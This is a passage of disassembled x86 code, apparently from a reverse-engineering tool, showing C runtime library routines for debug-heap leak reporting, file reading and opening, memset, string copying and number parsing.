[ecx] mov [ebp+var_8], edx loc_41A97E: ; CODE XREF: sub_41A930+44j mov eax, dword_4EF86C mov [ebp+var_4], eax jmp short loc_41A990 ; --------------------------------------------------------------------------- loc_41A988: ; CODE XREF: sub_41A930:loc_41ABADj mov ecx, [ebp+var_4] mov edx, [ecx] mov [ebp+var_4], edx loc_41A990: ; CODE XREF: sub_41A930+56j cmp [ebp+var_4], 0 jz loc_41ABB2 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz loc_41ABB2 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 3 jz short loc_41A9E4 mov eax, [ebp+var_4] mov ecx, [eax+14h] and ecx, 0FFFFh test ecx, ecx jz short loc_41A9E4 mov edx, [ebp+var_4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_41A9E9 mov ecx, dword_4510C0 and ecx, 10h test ecx, ecx jnz short loc_41A9E9 loc_41A9E4: ; CODE XREF: sub_41A930+85j ; sub_41A930+95j jmp loc_41ABAD ; --------------------------------------------------------------------------- loc_41A9E9: ; CODE XREF: sub_41A930+A5j ; sub_41A930+B2j mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jz short loc_41AA62 push 0 push 1 mov eax, [ebp+var_4] mov ecx, [eax+8] push ecx call sub_41A4A0 add esp, 0Ch test eax, eax jnz short loc_41AA33 loc_41AA09: ; CODE XREF: sub_41A930+FFj mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax push offset aFileErrorD ; "#File Error#(%d) : " push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41AA2B int 3 ; Trap to Debugger loc_41AA2B: ; CODE XREF: sub_41A930+F8j xor ecx, ecx test ecx, ecx jnz short loc_41AA09 jmp short loc_41AA62 ; --------------------------------------------------------------------------- loc_41AA33: ; CODE XREF: sub_41A930+D7j ; sub_41A930+130j mov edx, [ebp+var_4] mov eax, [edx+0Ch] push eax mov ecx, [ebp+var_4] mov edx, [ecx+8] push edx push offset aHsD ; "%hs(%d) : " push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 1Ch cmp eax, 1 jnz short loc_41AA5C int 3 ; Trap to Debugger loc_41AA5C: ; CODE XREF: sub_41A930+129j xor eax, eax test eax, eax jnz short loc_41AA33 loc_41AA62: ; CODE XREF: sub_41A930+C0j ; sub_41A930+101j ... mov ecx, [ebp+var_4] mov edx, [ecx+18h] push edx push offset aLd ; "{%ld} " push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41AA84 int 3 ; Trap to Debugger loc_41AA84: ; CODE XREF: sub_41A930+151j xor eax, eax test eax, eax jnz short loc_41AA62 mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_41AB0C loc_41AA9B: ; CODE XREF: sub_41A930+1A7j mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "... push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 20h cmp eax, 1 jnz short loc_41AAD3 int 3 ; Trap to Debugger loc_41AAD3: ; CODE XREF: sub_41A930+1A0j xor edx, edx test edx, edx jnz short loc_41AA9B cmp dword_4F0FB8, 0 jz short loc_41AAFB mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] add edx, 20h push edx call dword_4F0FB8 add esp, 8 jmp short loc_41AB07 ; --------------------------------------------------------------------------- loc_41AAFB: ; CODE XREF: sub_41A930+1B0j mov eax, [ebp+var_4] push eax call sub_41ABF0 add esp, 4 loc_41AB07: ; CODE XREF: sub_41A930+1C9j jmp loc_41ABAD ; --------------------------------------------------------------------------- loc_41AB0C: ; CODE XREF: sub_41A930+169j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 1 jnz short loc_41AB52 loc_41AB15: ; CODE XREF: sub_41A930+212j mov edx, [ebp+var_4] mov eax, [edx+10h] push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"... push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 1Ch cmp eax, 1 jnz short loc_41AB3E int 3 ; Trap to Debugger loc_41AB3E: ; CODE XREF: sub_41A930+20Bj xor edx, edx test edx, edx jnz short loc_41AB15 mov eax, [ebp+var_4] push eax call sub_41ABF0 add esp, 4 jmp short loc_41ABAD ; --------------------------------------------------------------------------- loc_41AB52: ; CODE XREF: sub_41A930+1E3j mov ecx, [ebp+var_4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 2 jnz short loc_41ABAD loc_41AB63: ; CODE XREF: sub_41A930+26Fj mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx mov edx, [ebp+var_4] mov eax, [edx+14h] sar eax, 10h and eax, 0FFFFh push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"... push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 20h cmp eax, 1 jnz short loc_41AB9B int 3 ; Trap to Debugger loc_41AB9B: ; CODE XREF: sub_41A930+268j xor edx, edx test edx, edx jnz short loc_41AB63 mov eax, [ebp+var_4] push eax call sub_41ABF0 add esp, 4 loc_41ABAD: ; CODE XREF: sub_41A930:loc_41A9E4j ; sub_41A930:loc_41AB07j ... jmp loc_41A988 ; --------------------------------------------------------------------------- loc_41ABB2: ; CODE XREF: sub_41A930+64j ; sub_41A930+70j push 9 call sub_41FBE0 add esp, 4 loc_41ABBC: ; CODE XREF: sub_41A930+2B0j push offset aObjectDumpComp ; "Object dump complete.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41ABDC int 3 ; Trap to Debugger loc_41ABDC: ; CODE XREF: sub_41A930+2A9j xor ecx, ecx test ecx, ecx jnz short loc_41ABBC pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41A930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABF0 proc near ; CODE XREF: sub_41A930+1CFp ; sub_41A930+218p ... var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_34 = byte ptr -34h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov [ebp+var_4C], 0 jmp short loc_41AC0B ; --------------------------------------------------------------------------- loc_41AC02: ; CODE XREF: sub_41ABF0+D7j mov eax, [ebp+var_4C] add eax, 1 mov [ebp+var_4C], eax loc_41AC0B: ; CODE XREF: sub_41ABF0+10j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+10h], 10h jge short loc_41AC1F mov edx, [ebp+arg_0] mov eax, [edx+10h] mov [ebp+var_54], eax jmp short loc_41AC26 ; --------------------------------------------------------------------------- loc_41AC1F: ; CODE XREF: sub_41ABF0+22j mov [ebp+var_54], 10h loc_41AC26: ; CODE XREF: sub_41ABF0+2Dj mov ecx, [ebp+var_4C] cmp ecx, [ebp+var_54] jge loc_41ACCC mov edx, [ebp+arg_0] add edx, [ebp+var_4C] mov al, [edx+20h] mov byte ptr [ebp+var_50], al cmp dword_4516A8, 1 jle short loc_41AC63 push 157h mov ecx, [ebp+var_50] and ecx, 0FFh push ecx call sub_421E50 add esp, 8 mov [ebp+var_58], eax jmp short loc_41AC80 ; --------------------------------------------------------------------------- loc_41AC63: ; CODE XREF: sub_41ABF0+55j mov edx, [ebp+var_50] and edx, 0FFh mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 157h mov [ebp+var_58], ecx loc_41AC80: ; CODE XREF: sub_41ABF0+71j cmp [ebp+var_58], 0 jz short loc_41AC94 mov edx, [ebp+var_50] and edx, 0FFh mov [ebp+var_5C], edx jmp short loc_41AC9B ; --------------------------------------------------------------------------- loc_41AC94: ; CODE XREF: sub_41ABF0+94j mov [ebp+var_5C], 20h loc_41AC9B: ; CODE XREF: sub_41ABF0+A2j mov eax, [ebp+var_4C] mov cl, byte ptr [ebp+var_5C] mov [ebp+eax+var_48], cl mov edx, [ebp+var_50] and edx, 0FFh push edx push offset a_2x ; "%.2X " mov eax, [ebp+var_4C] imul eax, 3 lea ecx, [ebp+eax+var_34] push ecx call sub_41B740 add esp, 0Ch jmp loc_41AC02 ; --------------------------------------------------------------------------- loc_41ACCC: ; CODE XREF: sub_41ABF0+3Cj mov edx, [ebp+var_4C] mov [ebp+edx+var_48], 0 loc_41ACD4: ; CODE XREF: sub_41ABF0+10Bj lea eax, [ebp+var_34] push eax lea ecx, [ebp+var_48] push ecx push offset aDataSS ; " Data: <%s> %s\n" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 1Ch cmp eax, 1 jnz short loc_41ACF7 int 3 ; Trap to Debugger loc_41ACF7: ; CODE XREF: sub_41ABF0+104j xor edx, edx test edx, edx jnz short loc_41ACD4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41ABF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD10 proc near ; CODE XREF: sub_41B600+B9p var_34 = byte ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi lea eax, [ebp+var_34] push eax call sub_41A690 add esp, 4 cmp [ebp+var_20], 0 jnz short loc_41AD44 cmp [ebp+var_2C], 0 jnz short loc_41AD44 mov ecx, dword_4510C0 and ecx, 10h test ecx, ecx jz short loc_41AD7B cmp [ebp+var_28], 0 jz short loc_41AD7B loc_41AD44: ; CODE XREF: sub_41AD10+19j ; sub_41AD10+1Fj ... push offset aDetectedMemory ; "Detected memory leaks!\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41AD64 int 3 ; Trap to Debugger loc_41AD64: ; CODE XREF: sub_41AD10+51j xor edx, edx test edx, edx jnz short loc_41AD44 push 0 call sub_41A930 add esp, 4 mov eax, 1 jmp short loc_41AD7D ; --------------------------------------------------------------------------- loc_41AD7B: ; CODE XREF: sub_41AD10+2Cj ; sub_41AD10+32j xor eax, eax loc_41AD7D: ; CODE XREF: sub_41AD10+69j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41AD10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi cmp dword ptr [ebp+8], 0 jnz short loc_41ADA2 jmp loc_41AE4E ; --------------------------------------------------------------------------- loc_41ADA2: ; CODE XREF: .nsp0:0041AD9Bj mov dword ptr [ebp-4], 0 jmp short loc_41ADB4 ; --------------------------------------------------------------------------- loc_41ADAB: ; CODE XREF: .nsp0:0041ADFCj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_41ADB4: ; CODE XREF: .nsp0:0041ADA9j cmp dword ptr [ebp-4], 5 jge short loc_41ADFE loc_41ADBA: ; CODE XREF: .nsp0:0041ADFAj mov ecx, [ebp-4] mov edx, off_4510D0[ecx*4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+4] push edx mov eax, [ebp-4] mov ecx, [ebp+8] mov edx, [ecx+eax*4+18h] push edx push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 20h cmp eax, 1 jnz short loc_41ADF6 int 3 ; Trap to Debugger loc_41ADF6: ; CODE XREF: .nsp0:0041ADF3j xor eax, eax test eax, eax jnz short loc_41ADBA jmp short loc_41ADAB ; --------------------------------------------------------------------------- loc_41ADFE: ; CODE XREF: .nsp0:0041ADB8j ; .nsp0:0041AE24j mov ecx, [ebp+8] mov edx, [ecx+2Ch] push edx push offset aLargestNumberU ; "Largest number used: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41AE20 int 3 ; Trap to Debugger loc_41AE20: ; CODE XREF: .nsp0:0041AE1Dj xor eax, eax test eax, eax jnz short loc_41ADFE loc_41AE26: ; CODE XREF: .nsp0:0041AE4Cj mov ecx, [ebp+8] mov edx, [ecx+30h] push edx push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41AE48 int 3 ; Trap to Debugger loc_41AE48: ; CODE XREF: .nsp0:0041AE45j xor eax, eax test eax, eax jnz short loc_41AE26 loc_41AE4E: ; CODE XREF: .nsp0:0041AD9Dj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE60 proc near ; CODE XREF: sub_4010AB+45p ; sub_40EB56+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_C] push eax call sub_41ECE0 add esp, 4 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41AEA0 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_41ED50 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41AE60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AEA0 proc near ; CODE XREF: sub_41AE60+20p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_41AEC9 xor eax, eax jmp loc_41B06B ; --------------------------------------------------------------------------- loc_41AEC9: ; CODE XREF: sub_41AEA0+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_41AEE4 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_41AEEB ; --------------------------------------------------------------------------- loc_41AEE4: ; CODE XREF: sub_41AEA0+37j mov [ebp+var_1C], 1000h loc_41AEEB: ; CODE XREF: sub_41AEA0+42j ; sub_41AEA0:loc_41B063j cmp [ebp+var_C], 0 jz loc_41B068 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] and edx, 10Ch test edx, edx jz short loc_41AF79 mov eax, [ebp+arg_C] cmp dword ptr [eax+4], 0 jz short loc_41AF79 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_41AF21 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_41AF2A ; --------------------------------------------------------------------------- loc_41AF21: ; CODE XREF: sub_41AEA0+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_41AF2A: ; CODE XREF: sub_41AEA0+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+arg_C] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call near ptr sub_41C8D0 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_41B063 ; --------------------------------------------------------------------------- loc_41AF79: ; CODE XREF: sub_41AEA0+63j ; sub_41AEA0+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_41B01E cmp [ebp+var_1C], 0 jz short loc_41AF9D mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_41AFA3 ; --------------------------------------------------------------------------- loc_41AF9D: ; CODE XREF: sub_41AEA0+E9j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_41AFA3: ; CODE XREF: sub_41AEA0+FBj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_422100 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41AFE8 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_41B06B ; --------------------------------------------------------------------------- loc_41AFE8: ; CODE XREF: sub_41AEA0+127j cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41B00A mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41B06B ; --------------------------------------------------------------------------- loc_41B00A: ; CODE XREF: sub_41AEA0+14Cj mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx jmp short loc_41B063 ; --------------------------------------------------------------------------- loc_41B01E: ; CODE XREF: sub_41AEA0+DFj mov eax, [ebp+arg_C] push eax call sub_421F10 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_41B040 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41B06B ; --------------------------------------------------------------------------- loc_41B040: ; CODE XREF: sub_41AEA0+191j mov ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_4] mov [ecx], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax loc_41B063: ; CODE XREF: sub_41AEA0+D4j ; sub_41AEA0+17Cj jmp loc_41AEEB ; --------------------------------------------------------------------------- loc_41B068: ; CODE XREF: sub_41AEA0+4Fj mov eax, [ebp+arg_8] loc_41B06B: ; CODE XREF: sub_41AEA0+24j ; sub_41AEA0+143j ... mov esp, ebp pop ebp retn sub_41AEA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B070 proc near ; CODE XREF: sub_41B170+Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_41B079: ; CODE XREF: sub_41B070+31j cmp [ebp+arg_0], 0 jnz short loc_41B09D push offset aFileNull ; "file != NULL" push 0 push 35h push offset aFopen_c ; "fopen.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41B09D int 3 ; Trap to Debugger loc_41B09D: ; CODE XREF: sub_41B070+Dj ; sub_41B070+2Aj xor eax, eax test eax, eax jnz short loc_41B079 loc_41B0A3: ; CODE XREF: sub_41B070+5Fj mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_41B0CB push offset aFile_t0 ; "*file != _T('\\0')" push 0 push 36h push offset aFopen_c ; "fopen.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41B0CB int 3 ; Trap to Debugger loc_41B0CB: ; CODE XREF: sub_41B070+3Bj ; sub_41B070+58j xor eax, eax test eax, eax jnz short loc_41B0A3 loc_41B0D1: ; CODE XREF: sub_41B070+89j cmp [ebp+arg_4], 0 jnz short loc_41B0F5 push offset aModeNull ; "mode != NULL" push 0 push 37h push offset aFopen_c ; "fopen.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41B0F5 int 3 ; Trap to Debugger loc_41B0F5: ; CODE XREF: sub_41B070+65j ; sub_41B070+82j xor ecx, ecx test ecx, ecx jnz short loc_41B0D1 loc_41B0FB: ; CODE XREF: sub_41B070+B7j mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_41B123 push offset aMode_t0 ; "*mode != _T('\\0')" push 0 push 38h push offset aFopen_c ; "fopen.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_41B123 int 3 ; Trap to Debugger loc_41B123: ; CODE XREF: sub_41B070+93j ; sub_41B070+B0j xor ecx, ecx test ecx, ecx jnz short loc_41B0FB call sub_422970 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41B13B xor eax, eax jmp short loc_41B165 ; --------------------------------------------------------------------------- loc_41B13B: ; CODE XREF: sub_41B070+C5j mov edx, [ebp+var_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4225E0 add esp, 10h mov [ebp+var_8], eax mov eax, [ebp+var_4] push eax call sub_41ED50 add esp, 4 mov eax, [ebp+var_8] loc_41B165: ; CODE XREF: sub_41B070+C9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41B070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B170 proc near ; CODE XREF: sub_4010AB+18p ; sub_401CC1+5081p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 40h mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41B070 add esp, 0Ch pop ebp retn sub_41B170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B190 proc near ; CODE XREF: .nsp0:0040120Ap ; .nsp0:00401218p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B1E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B1D7 neg ecx and ecx, 3 jz short loc_41B1B9 sub edx, ecx loc_41B1B3: ; CODE XREF: sub_41B190+27j mov [edi], al inc edi dec ecx jnz short loc_41B1B3 loc_41B1B9: ; CODE XREF: sub_41B190+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B1D7 rep stosd test edx, edx jz short loc_41B1DD loc_41B1D7: ; CODE XREF: sub_41B190+18j ; sub_41B190+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B1D7 loc_41B1DD: ; CODE XREF: sub_41B190+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B1E3: ; CODE XREF: sub_41B190+Aj mov eax, [esp+arg_0] retn sub_41B190 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B1F0 proc near ; CODE XREF: sub_40141B+499p ; sub_40141B+4B5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B273 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B214 shr ecx, 2 jnz short loc_41B281 jmp short loc_41B235 ; --------------------------------------------------------------------------- loc_41B214: ; CODE XREF: sub_41B1F0+1Bj ; sub_41B1F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B242 test al, al jz short loc_41B24A test esi, 3 jnz short loc_41B214 mov ebx, ecx shr ecx, 2 jnz short loc_41B281 loc_41B230: ; CODE XREF: sub_41B1F0+8Fj and ebx, 3 jz short loc_41B242 loc_41B235: ; CODE XREF: sub_41B1F0+22j ; sub_41B1F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B26E dec ebx jnz short loc_41B235 loc_41B242: ; CODE XREF: sub_41B1F0+2Bj ; sub_41B1F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B24A: ; CODE XREF: sub_41B1F0+2Fj test edi, 3 jz short loc_41B264 loc_41B252: ; CODE XREF: sub_41B1F0+72j mov [edi], al inc edi dec ecx jz loc_41B2E6 test edi, 3 jnz short loc_41B252 loc_41B264: ; CODE XREF: sub_41B1F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B2D7 loc_41B26B: ; CODE XREF: sub_41B1F0+7Fj ; sub_41B1F0+F4j mov [edi], al inc edi loc_41B26E: ; CODE XREF: sub_41B1F0+4Dj dec ebx jnz short loc_41B26B pop ebx pop esi loc_41B273: ; CODE XREF: sub_41B1F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B279: ; CODE XREF: sub_41B1F0+A9j ; sub_41B1F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B230 loc_41B281: ; CODE XREF: sub_41B1F0+20j ; sub_41B1F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B279 test dl, dl jz short loc_41B2CB test dh, dh jz short loc_41B2C1 test edx, 0FF0000h jz short loc_41B2B7 test edx, 0FF000000h jnz short loc_41B279 mov [edi], edx jmp short loc_41B2CF ; --------------------------------------------------------------------------- loc_41B2B7: ; CODE XREF: sub_41B1F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B2CF ; --------------------------------------------------------------------------- loc_41B2C1: ; CODE XREF: sub_41B1F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B2CF ; --------------------------------------------------------------------------- loc_41B2CB: ; CODE XREF: sub_41B1F0+ADj xor edx, edx mov [edi], edx loc_41B2CF: ; CODE XREF: sub_41B1F0+C5j ; sub_41B1F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B2E1 loc_41B2D7: ; CODE XREF: sub_41B1F0+79j xor eax, eax loc_41B2D9: ; CODE XREF: sub_41B1F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B2D9 loc_41B2E1: ; CODE XREF: sub_41B1F0+E5j and ebx, 3 jnz short loc_41B26B loc_41B2E6: ; CODE XREF: sub_41B1F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B1F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B2F0 proc near ; CODE XREF: sub_41B3F0+7p ; sub_42DF80+271p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h loc_41B2F6: ; CODE XREF: sub_41B2F0+4Ej cmp dword_4516A8, 1 jle short loc_41B316 push 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] push ecx call sub_421E50 add esp, 8 mov [ebp+var_10], eax jmp short loc_41B32F ; --------------------------------------------------------------------------- loc_41B316: ; CODE XREF: sub_41B2F0+Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_10], edx loc_41B32F: ; CODE XREF: sub_41B2F0+24j cmp [ebp+var_10], 0 jz short loc_41B340 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_41B2F6 ; --------------------------------------------------------------------------- loc_41B340: ; CODE XREF: sub_41B2F0+43j mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+var_4] mov [ebp+var_C], ecx cmp [ebp+var_4], 2Dh jz short loc_41B365 cmp [ebp+var_4], 2Bh jnz short loc_41B378 loc_41B365: ; CODE XREF: sub_41B2F0+6Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_41B378: ; CODE XREF: sub_41B2F0+73j mov [ebp+var_8], 0 loc_41B37F: ; CODE XREF: sub_41B2F0+E9j cmp dword_4516A8, 1 jle short loc_41B39B push 4 mov edx, [ebp+var_4] push edx call sub_421E50 add esp, 8 mov [ebp+var_14], eax jmp short loc_41B3B0 ; --------------------------------------------------------------------------- loc_41B39B: ; CODE XREF: 